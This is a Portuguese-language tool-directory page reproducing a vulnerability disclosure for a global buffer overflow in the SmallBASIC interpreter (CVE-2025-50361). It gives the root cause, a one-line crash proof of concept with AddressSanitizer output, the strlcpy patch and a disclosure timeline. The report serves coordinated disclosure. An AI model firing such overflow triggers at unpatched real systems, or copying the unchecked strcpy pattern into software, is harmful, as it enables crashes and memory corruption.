Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-50361 — Relatório e PoC de Estouro de Buffer Global no SmallBASIC anterior a 02364eff880ba62afac67bcceebafade2b40d21f | Kitploit
Ferramentas/GitHubGitHub/ch1keen/cve-2025-50361
Análise EstáticaAnálise de VulnerabilidadesAnálise de CódigoExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubch1keen/cve-2025-50361

CVE-2025-50361

Relatório e PoC de Estouro de Buffer Global no SmallBASIC anterior a 02364eff880ba62afac67bcceebafade2b40d21f

Ver Repositório
3há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Estouro de Buffer Global no SmallBASIC

SmallBASIC é um interpretador da linguagem BASIC rápido e fácil de aprender, ideal para cálculos do dia a dia, scripts e protótipos. SmallBASIC inclui funções trigonométricas, matriciais e algébricas, um IDE integrado, uma biblioteca de strings poderosa, comandos de sistema, som e gráficos, juntamente com sintaxe de programação estruturada.

  • Versão Afetada: Antes do commit 02364eff880ba62afac67bcceebafade2b40d21f (Commitado em 2025.06.06).
  • Versão Corrigida: Commit 02364eff880ba62afac67bcceebafade2b40d21f. Veja o commit

Causa Raiz

Na linha 277 de src/platform/sdl/main.cpp, a função strcpy é chamada para copiar argv para a variável global opt_command, definida em src/common/smbas.h. A variável global é um array de tamanho fixo, de acordo com a macro OPT_CMD_CZ definida no mesmo arquivo.

root@kitploit:~
// src/common/smbas.h:105
EXTERN char opt_command[OPT_CMD_CZ] //

// src/platform/sdl/main.cpp:263
  while (1) {
    int option_index = 0;
    int c = getopt_long(argc, argv, "hvkc:f:r:x:n:m:e:d:p:", OPTIONS, &option_index);
    if (c == -1) {
      // no more options
      if (!option_index) {
        for (int i = 1; i < argc; i++) {
          const char *s = argv[i];
          int len = strlen(s);
          if (runFile == NULL
              && ((strcasecmp(s + len - 4, ".bas") == 0 && access(s, 0) == 0)
                  || (strstr(s, "://") != NULL))) {
            runFile = strdup(s);
          } else if (chdir(s) != 0) {
            strcpy(opt_command, s);  // VULNERÁVEL
          }
        }
      }
      break;
    }

De acordo com src/common/smbas.h, OPT_CMD_CZ está definido como 1024.

root@kitploit:~
#define OPT_CMD_CZ 1024

Ao contrário da função strlcpy, strcpy não verifica quantos bytes serão copiados. Portanto, mais de 1024 bytes podem ser copiados para o array opt_command. Como o argumento da linha de comando pode ter mais de 1024 bytes, a entrada pode sobrescrever outros objetos. Isso pode levar o programa sbasicg a comportamentos inesperados.

Note que o comprimento máximo da string que você pode usar no prompt de comando no Windows é de 8191 caracteres. No Linux, o comprimento depende de ARG_MAX e MAX_ARG_STRINGS.

  • Windows: https://learn.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/command-line-string-limitation#more-information
  • Linux: https://unix.stackexchange.com/questions/120642/what-defines-the-maximum-size-for-a-command-single-argument

Disparo (Prova-de-Conceito)

Compile o projeto SmallBASIC e então execute

root@kitploit:~
$ src/platform/sdl/sbasicg $(python -c 'print("a"*1024)')

Isso causa um Estouro de Buffer Global ao analisar o argumento da linha de comando implementado na função main. Abaixo está a saída do Address Sanitizer:

root@kitploit:~
=================================================================
==5322==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000016c22a0 at pc 0x0000004ba2e4 bp 0x7ffeb3ebac70 sp 0x7ffeb3eba428
WRITE of size 1025 at 0x0000016c22a0 thread T0
    #0 0x4ba2e3 in strcpy (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)
    #1 0x8759c6 in main /home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/main.cpp:277:13
    #2 0x79e3ca62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #3 0x79e3ca62a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #4 0x4378b4 in _start (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4378b4) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)

0x0000016c22a0 is located 0 bytes after global variable 'opt_command' defined in '/home/ch1keen/fuzz/SmallBASIC/src/common/smbas.h:105' (0x16c1ea0) of size 1024
SUMMARY: AddressSanitizer: global-buffer-overflow (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea) in strcpy
Shadow bytes around the buggy address:
  0x0000016c2000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000016c2280: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2300: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2380: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5322==ABORTING

Impacto

O impacto da vulnerabilidade não é claro. Mas o Estouro de Buffer Global pode sobrescrever outras variáveis globais, o que pode levar à sobrescrita de flags e configurações do programa.

O Patch

A vulnerabilidade foi corrigida substituindo quase todas as ocorrências de strcpy por strlcpy, incluindo o problema que reportei.

root@kitploit:~
@@ -277,1 +277,1 @@ int main(int argc, char* argv[]) {
< strcpy(opt_command, command);
---
> strlcpy(opt_command, command, sizeof(opt_command));

Veja o commit para o patch detalhado.

Linha do Tempo da Divulgação

  • 2025.05.18: Relatório de vulnerabilidade enviado ao mantenedor ([email protected]).
  • 2025.05.18: Reportado à MITRE.
  • 2025.06.06: O mantenedor lançou o patch.
  • 2025.07.09: Divulgação pública.
  • 2025.08.13: A MITRE atribuiu CVE-2025-50361.
Baixar ferramenta